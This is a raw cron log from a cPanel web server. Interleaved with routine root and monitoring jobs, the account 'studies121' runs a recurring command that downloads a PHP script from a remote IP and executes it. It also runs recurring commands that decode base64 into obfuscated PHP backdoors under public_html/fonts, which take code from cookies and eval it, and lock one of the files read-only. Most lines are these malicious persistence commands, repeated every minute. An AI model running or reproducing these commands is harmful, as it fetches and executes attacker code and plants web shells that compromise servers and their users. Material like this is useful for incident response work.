Sep 21 01:38:01 ip-184-168-122-23 CROND[8273]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:39:01 ip-184-168-122-23 CROND[8354]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:39:01 ip-184-168-122-23 CROND[8356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:39:01 ip-184-168-122-23 CROND[8357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:39:01 ip-184-168-122-23 CROND[8359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:39:01 ip-184-168-122-23 CROND[8358]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 01:40:01 ip-184-168-122-23 CROND[8544]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 01:40:01 ip-184-168-122-23 CROND[8547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:40:01 ip-184-168-122-23 CROND[8550]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 01:40:01 ip-184-168-122-23 CROND[8551]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 01:40:01 ip-184-168-122-23 CROND[8552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:40:01 ip-184-168-122-23 CROND[8548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:40:01 ip-184-168-122-23 CROND[8549]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:40:01 ip-184-168-122-23 CROND[8553]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:41:01 ip-184-168-122-23 CROND[8676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:41:01 ip-184-168-122-23 CROND[8678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:41:01 ip-184-168-122-23 CROND[8679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:41:01 ip-184-168-122-23 CROND[8681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:42:01 ip-184-168-122-23 CROND[8775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:42:01 ip-184-168-122-23 CROND[8776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:42:01 ip-184-168-122-23 CROND[8777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:42:01 ip-184-168-122-23 CROND[8778]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:42:01 ip-184-168-122-23 CROND[8779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:43:01 ip-184-168-122-23 CROND[8868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:43:01 ip-184-168-122-23 CROND[8869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:43:01 ip-184-168-122-23 CROND[8872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:43:01 ip-184-168-122-23 CROND[8874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:44:02 ip-184-168-122-23 CROND[8974]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:44:02 ip-184-168-122-23 CROND[8976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:44:02 ip-184-168-122-23 CROND[8978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:44:02 ip-184-168-122-23 CROND[8979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:44:02 ip-184-168-122-23 CROND[8983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:45:01 ip-184-168-122-23 CROND[9152]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:45:01 ip-184-168-122-23 CROND[9154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:45:01 ip-184-168-122-23 CROND[9155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:45:01 ip-184-168-122-23 CROND[9157]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 01:45:01 ip-184-168-122-23 CROND[9156]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 01:45:01 ip-184-168-122-23 CROND[9158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:46:01 ip-184-168-122-23 CROND[9248]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:46:02 ip-184-168-122-23 CROND[9250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:46:02 ip-184-168-122-23 CROND[9252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:46:02 ip-184-168-122-23 CROND[9253]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 01:46:02 ip-184-168-122-23 CROND[9255]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:46:02 ip-184-168-122-23 CROND[9251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:46:02 ip-184-168-122-23 CROND[9254]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 21 01:47:01 ip-184-168-122-23 CROND[9346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:47:01 ip-184-168-122-23 CROND[9349]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:47:01 ip-184-168-122-23 CROND[9350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:47:01 ip-184-168-122-23 CROND[9348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:48:01 ip-184-168-122-23 CROND[9443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:48:01 ip-184-168-122-23 CROND[9445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:48:01 ip-184-168-122-23 CROND[9448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:48:01 ip-184-168-122-23 CROND[9450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:48:01 ip-184-168-122-23 CROND[9452]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:49:01 ip-184-168-122-23 CROND[9557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:49:01 ip-184-168-122-23 CROND[9561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:49:01 ip-184-168-122-23 CROND[9562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:49:01 ip-184-168-122-23 CROND[9560]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:49:01 ip-184-168-122-23 CROND[9559]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 21 01:50:02 ip-184-168-122-23 CROND[9685]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 01:50:02 ip-184-168-122-23 CROND[9688]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:50:02 ip-184-168-122-23 CROND[9690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:50:02 ip-184-168-122-23 CROND[9692]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 01:50:02 ip-184-168-122-23 CROND[9691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:50:02 ip-184-168-122-23 CROND[9695]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 01:50:02 ip-184-168-122-23 CROND[9694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
